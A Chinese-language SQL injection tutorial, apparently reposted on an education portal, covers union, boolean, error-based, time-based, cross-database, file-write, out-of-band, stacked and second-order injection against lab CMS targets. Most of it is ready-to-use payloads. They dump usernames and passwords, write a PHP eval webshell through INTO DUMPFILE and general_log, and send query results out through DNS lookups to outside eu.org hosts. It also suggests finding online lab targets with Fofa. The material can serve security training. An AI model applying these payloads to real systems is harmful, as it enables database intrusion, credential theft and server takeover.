SQL注入是一種常見的攻擊方式,需要了解一些前置知識。識別存在注入的方法包括判斷是否存在注入、判斷列數、判斷回顯點、查詢當前數據庫名、查詢表名、查詢列名。在MySQL中,可以使用`id=1awsfas`直接進...
本篇文章只是起個引頭的左右,當然篇幅也比較長,忘大家能耐心看完,至于更復雜的操作,大家可以根據這個基礎去做更深層次的研究
首先,了解SQL注入分類之前需要先了解一些前置知識,當然基礎知識必不可少,可參考上篇文章
靶場:https://github.com/Audi-1/sqli-labs
或者不想開靶場,可以使用Fofa搜索在線MySQL靶場
Fofa搜索:"SQLi-Labs"
SQL注入分類前置知識之基礎語句
1.判斷是否存在注入:
id=1 and 1=1 --+ #頁面正常
id=1 and 1=2 --+ #頁面異常,存在注入(或者使用id=1awsfas來直接進行判斷)
2.判斷列數:
id=1 order by 4 --+ #頁面正常時,數字為幾,就代表存在幾列
3.判斷回顯點:
id=-1 union select 1,2,3,4 --+ #哪個數字顯示出來就代表回顯點是幾
4.查詢當前數據庫名:
id=-1 union select 1,database(),3,4 --+
5.查詢表名:
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
6.查詢列名:
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+
7.獲取數據:
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+
8.解密得到的密碼
本篇文章不會把所有的注入類型所有的操作步驟都寫一遍,基礎語法放在最前面,先了解基礎語句,再進行下一步,最起碼能看懂,知道怎么套用語句
SQL注入分類前置知識之數據類型
注入前,需要知道是否存在符號干擾:有無單引號或雙引號及通配符等
如果不知道屬于哪種數據類型,那后續工作無法進行,一切都白搭,當然這個是需要進行測試的
數字:select * from news where id=$id;
字符:select * from news where name='$name';
搜索:select * from news where name like '%name%';
SQL注入分類前置知識之數據格式
沒有規矩,不成方圓
數據格式就相當于一個規矩,你得按照人家的數據格式來,否則數據如何傳輸?
當然,數據格式肯定不止以下幾種,需要觀察是否為已知的格式
如果是未知的,可能需要審計JS代碼,或者多觀察數據包,找到所謂的格式
XML
數據傳輸采用XML格式傳遞
JSON
數據傳輸采用JSON格式傳遞
編碼
數據傳輸采用編碼或加密形式傳遞
編碼:如加密
加密形式:如JS逆向
混合
數據傳遞采用JSON和編碼傳遞
SQL注入分類前置知識之HTTP頭部注入
需要注意:SQL注入的前提--與數據庫進行交互(本質就是觀察數據包,看看哪個部分可能與數據庫進行交互)
HTTP頭部注入:需要了解業務應用功能,之后才可以確定使用哪種HTTP頭部注入方式
其實HTTP注入也可以歸為SQL注入分類,只不過所有的SQL注入分類都是在HTTP頭部注入上進行注入的
UA(User-Agent)
可能出現的場景:
對UA設備指定顯示方案
對UA設備進行信息記錄
insert注入
簡單的說:就是UA與數據庫進行交互,需要UA這個數據(如果只是判斷UA而不寫入數據庫,那不存在UA注入)
XFF(X-Forwarded-For)
可能出現的場景:
限制IP訪問功能
記錄IP訪問日志
insert注入
Cookie
可能出現的場景:開發人員編寫一個根據用戶 ID(存儲在Cookie中)來查詢信息的功能
user_id如何發現?
Fuzz:幾率很低
注冊用戶,觀察Cookie
Findsomething
為什么要加and 1=2?
為了報錯,如果不加,沒有結果
Referer
可能出現的場景:網站期望登錄請求來自于本站頁面,如果Referer是其他來源,則拒絕登錄。
SQL注入分類前置知識之增刪改查注入
查詢:
union注入
原因:
代碼會把數據顯示出來(有回顯)
語句組成也會造成此原因
新增、修改、刪除:
報錯注入
原因:代碼只會把結果顯示出來,不會顯示數據(無回顯)
語句組成也會造成此原因,比如union不能和insert放在一起,union是兩條語句一起執行
所謂的SQL注入分類,其實也是在增刪改查的基礎上去實現的,所以歸類為前置知識
新增
這里其實and和or都可以使用,但是建議使用or,因為只需要滿足一個條件為真就可以了,而使用and需要滿足兩個條件都為真
修改
刪除
之后點擊刪除按鈕
查詢
基礎知識已完畢,接下來正式開始SQL注入分類
SQL注入之盲注
盲注就是在注入過程中,獲取的數據不能回顯至前端頁面。
我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。
解決:常規的聯合查詢注入不行的情況
盲注分類:布爾、報錯、延遲
布爾注入
基于布爾注入的前提:有結果輸出,根據結果輸出內容不同來判斷條件是否成立
下面函數只是大概舉例,用法其實很多,各種函數都可以進行嘗試搭配使用
regexp
SELECT DATABASE() REGEXP '^i' #匹配第一位是否為i,如果為i返回1,否則返回0
SELECT DATABASE() REGEXP '^[a-z]' #判斷第一位是否為字母
like
SELECT DATABASE() like 'inf%' #判斷數據庫是否為inf...
ascii
SELECT ASCII(SUBSTR(database(),1,1))<115 #判斷數據庫第一位字符的ASCII
left
left(a,b)從左側截取a的前b位
select left(database(),1)='i'; #判斷第一位是否為i
select left(database(),2)='in'; #判斷前兩位是否為in
ord
select ord(left(database(),1))<112; #判斷第一位的ASCII是否小于112,根據 ASCII碼判斷數據庫
mid
mid(a,b,c)#從位置b開始,截取a字符串的c位
select MID(database(),1,1)='i' #判斷第一位是否為i
substr
substr(a,b,c)#從位置b開始,截取字符串a的c長度
select SUBSTR((database()),1,1)='i' #判斷第一位是否為i
length
select length(database())=18 #判斷數據庫長度
報錯注入
基于報錯注入的前提:頁面報錯
下面語句中標紅的部分為SQL語句,可自己自定義修改
floor報錯注入:
select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a
select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables limit 1),0x7e)x from information_schema.character_sets group by x)a
ExtractValue報錯注入:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
UpdateXml報錯注入:
select updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 1)),1)
爆數據庫版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
鏈接用戶:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
鏈接數據庫:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆庫:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段內容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
NAME_CONST報錯注入:
select exists(select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0)) b)c)
但好像只能查出來版本,網上也沒其他相關資料,查資料說是不支持動態函數,或者得具體修改語句
join報錯注入:
前提:在知到表名的前提下才能操作
select * from (select * from user as a join user as b) as c;
select * from (select * from user as a join user as b using(HOst)) as c;
exp報錯注入:
前提條件:
適用 MySQL 5.5.44 ~ 5.5.47 版本(也不一定,可能5.5.0版本都可以,需要嘗試),更高版本(如 5.6+)可能無法返回查詢結果
目標數據庫需支持 EXP 函數且未禁用錯誤信息回顯
select (exp(~(SELECT * FROM(SELECT version() )a)))
select (exp(~(SELECT * FROM(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1 )a)))
GeometryCollection()報錯注入:
select GeometryCollection((select * from (select * from(select version())a)b))
select GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
polygon()報錯注入:
適用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效
限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修復了此類漏洞,導致 polygon() 報錯注入失效
select polygon((select * from (select * from(select version())a)b))
select polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
multipoint()報錯注入:
適用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效。
限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修復了此類漏洞,導致 multipoint() 報錯注入失效
SELECT multipoint((select * from (select * from(select version())a)b))
SELECT multipoint((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())a)b))
multlinestring()報錯注入:
有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。
高版本修復:MySQL 5.7+ 修復了此漏洞,無法通過 multlinestring() 觸發報錯
SELECT multilinestring((select * from (select * from(select version())a)b))
SELECT multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
multpolygon()報錯注入:
有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。
高版本修復:MySQL 5.7+ 修復了此漏洞,multipolygon() 報錯注入失效
select multipolygon((select * from (select * from(select version())a)b))
select multipolygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
linestring()報錯注入:
有效版本:5.1.5 ~ 5.5.49(部分 5.6.x 可能仍有效)。
高版本限制:MySQL 5.7+ 修復了此類漏洞,linestring() 報錯注入失效
select linestring((select * from (select * from(select version())a)b))
select linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))
案例無關緊要,知道方法后可自己搭建靶場進行測試
演示案例--xhcms_v1.0
注意:PHP7.0版本可能無法安裝
漏洞文件:files/submit.php
直接訪問會報錯,因為是MVC框架
文件名:files/submit.php
訪問:r=submit
出現新的問題:昵稱不能為空
兩種解決辦法:
1.條件一個一個去手工滿足
2.看看項目中有哪些文件調用了submit這個文件
因為是MVC模型,搜索:r=submit
之后構造URL:http://192.168.137.101:91/?r=contact
那應該使用什么注入呢?請看代碼
SQL語句是單引號過濾
昵稱、郵箱、網址均可進行注入:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
延遲注入
sleep
sleep(5) #SQL語句延時執行5秒
if
if(條件,5,0)#條件成立 返回5 反之 返回0
select if((version())>5.0,sleep(4),2);
select if(SUBSTR((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1)='c',sleep(5),0)
案例無關緊要,知道方法后可自己搭建靶場進行測試
演示案例--kkcms
漏洞位置:admin/model/usergroup.php
這里使用延遲注入的原因:無報錯函數(報錯注入),數據沒有輸出(布爾注入)
此CMS直接訪問路徑無法訪問,也是基于路由訪問
訪問后臺:http://192.168.137.101:92/admin/cms_login.php
漏洞位置:admin/model/usergroup.php
如何訪問? admin/cms_usergroup.php
之后構造payload:or if(1=1,sleep(3),0)
延時了3秒
Burp中,需要把空格替換為%20,如果不替換,Burp會認為空格之后是第二行
and if(length(database()))=5,sleep(3),0)
數據庫長度為5
and if(ord((substr(database(),1,1)))=107,sleep(3),0)
數據庫第一位ACCII碼為107
and if(ord((substr(database(),2,1)))=107,sleep(3),0)
數據庫第二位ACCII碼為107
ASCII位數:127位,之后可以利用Burp的Intruder模塊批量跑數據
延時注入不能使用Intruder,結果中不顯示時間
SQL注入之跨庫注入
基礎知識--權限
root用戶和普通用戶的區別:
root用戶可以看到并操作所有數據庫,普通用戶只能看到并操作系統自帶的數據庫和自己的數據庫
造成的影響:root用戶可以獲取其他網站上的數據庫,普通用戶不行(一個數據庫里面可以有多個庫,每個庫都可以算作一個網站)
那如何知道其他庫的地址?
數據庫配置(表里面可能有)
旁站
同網站不同IP
注入
跨庫注入的前提:配置文件中是root用戶,不是普通用戶
查數據庫名:' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#
如果只有一個地方能返回數據怎么辦?使用group_concat()函數:' union select GROUP_CONCAT(SCHEMA_name),2,3 from information_schema.SCHEMATA#
但有個缺點:如果數據庫較多,可能顯示不全
如果想要美觀,可使用:
' union select GROUP_CONCAT(SCHEMA_name SEPARATOR ' <br/>'),2,3 from information_schema.SCHEMATA#
查表名:
普通版本:'union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#
升級版本:'union select GROUP_CONCAT(table_name SEPARATOR ' <br/>'),2,3 from information_schema.tables where table_schema='xhcms'#
查列名:
普通版本:' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#
升級版本:' union select GROUP_CONCAT(column_name SEPARATOR ' <br/>'),2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#
查數據:
普通版本:'union select user,2,3 from xhcms.manage#
升級版本:'union select GROUP_CONCAT(user,':',password SEPARATOR ' <br/>'),2,3 from xhcms.manage#
SQL注入之文件讀寫操作
基礎知識
文件讀寫操作:root用戶可以進行文件讀寫操作,普通用戶不行
讀寫操作的前提:需要配置secure_file_priv開關
secure_file_priv:MySQL中的系統變量,用于限制文件的讀取和寫入
查看是否有讀寫操作權限:show variables like"secure%"
讀:SELECT load_file('e:\\1.txt')
寫:select '123' into outfile 'e:\\2.txt'
Windows:my.ini配置文件中配置
Linux:my.cnf配置文件中配置
如果限制了目錄,如何繞過?
繞過條件:存在可執行的SQL地方
從后臺的sql命令執行功能點(有的后臺可以執行SQL命令):注入獲取得到這個網站的后臺賬號密碼
從phpmyadmin命令執行功能點:注入獲取到數據庫的用戶名和密碼
root密碼:存儲在mysql數據庫下user表
低版本:user,password
高版本:user,authentication_string
版本中間值:5.4,或者兩個都試下,只要出來數據就行
查看是否限制目錄:show variables like"secure%"
啟用慢查詢日志(默認禁用):my.ini中配置:slow_query_log=1
show variables like'general_log';
set global general_log=on;
set global general_log_file='C:/phpstudy_pro/WWW/php1/bypass.php';
網站路徑如何得知?
遺留文件:如phpinfo();頁面
報錯顯示:可能會顯示完整路徑
讀中間件配置:如果中間件默認路徑沒有修改的話
爆破fuzz路徑
之后執行語句:select '<?php @eval($_POST[x]);?>'
注入
'union select LOAD_FILE('e:\\1.txt'),2,3#
' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#
寫一句話木馬:' union select '<?php @eval($_POST["xxx"])?>',2,3 into dumpfile 'C:\\phpstudy_pro\\WWW\\php1\\xx.php'#
寫文件只能使用完整路徑
關于網站路徑獲取方法:
1、遺留文件:如phpinfo();頁面
2、報錯顯示:可能會顯示完整路徑
3、讀中間件配置:如果中間件默認路徑沒有修改的話
4、爆破fuzz路徑
SQL注入之帶外注入
無回顯時使用帶外注入
使用yakit生成域名
可能出現的問題:語句明明正確,為什么DNSlog收不到數據?
解決辦法:重新生成一個域名,可能是域名堵塞的原因
查數據名:'union select load_file(concat('\\\\',(select database()),'.hvuoczxssn.zaza.eu.org\\aa')),2,3#
查表名1:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".myygrhvzab.iyhc.eu.org\\xxx.txt")),2,3#
查表名2:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#
查列名1:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 0,1),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#
查列名2:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查數據1的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查數據1的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查數據2的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#
查數據2的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 1,1),".bidfguhork.dgrh3.cn\\xxx.txt")),2,3#
SQL注入之堆疊注入
原理:通過結束符(分號)同時執行多條sql語句
支持堆疊數據庫:
MYSQL
MSSQL
Postgresql
目標如何才能存在堆疊注入:(觸發的條件很苛刻)
目標存在sql注入漏洞
目標未對";"號進行過濾
目標中間層查詢數據庫信息時可同時執行多條sql語句(使用函數不當)
存在類似mysqli_multi_query()函數,支持多條SQL一起執行
與之對應的是mysqli_query()函數,只能執行一條SQL
SQL注入之二次注入
原理:注冊(寫入payload)-->登錄后修改-->修改時以當前用戶名為條件觸發
黑盒思路:功能點有添加操作,之后可以對添加的內容進行修改
白盒思路:insert后進入select或update的功能的代碼塊
注入條件:插入時有轉義函數或配置,后續有利用插入的數據
正常邏輯:
二次注入邏輯:
正常修改密碼:UPDATE users SET password = '123' WHERE username = 'xxx';
二次注入修改密碼:UPDATE users SET password = '123' WHERE username = '' or 1=1#';
原文來源:https://mp.weixin.qq.com/s/-874oe4IGCZAPxXL2b4Rlw
來源:本文內容搜集或轉自各大網絡平臺,并已注明來源、出處,如果轉載侵犯您的版權或非授權發布,請聯系小編,我們會及時審核處理。
聲明:江蘇教育黃頁對文中觀點保持中立,對所包含內容的準確性、可靠性或者完整性不提供任何明示或暗示的保證,不對文章觀點負責,僅作分享之用,文章版權及插圖屬于原作者。
Copyright©2013-2025 ?JSedu114 All Rights Reserved. 江蘇教育信息綜合發布查詢平臺保留所有權利
蘇公網安備32010402000125
蘇ICP備14051488號-3技術支持:南京博盛藍睿網絡科技有限公司
南京思必達教育科技有限公司版權所有 百度統計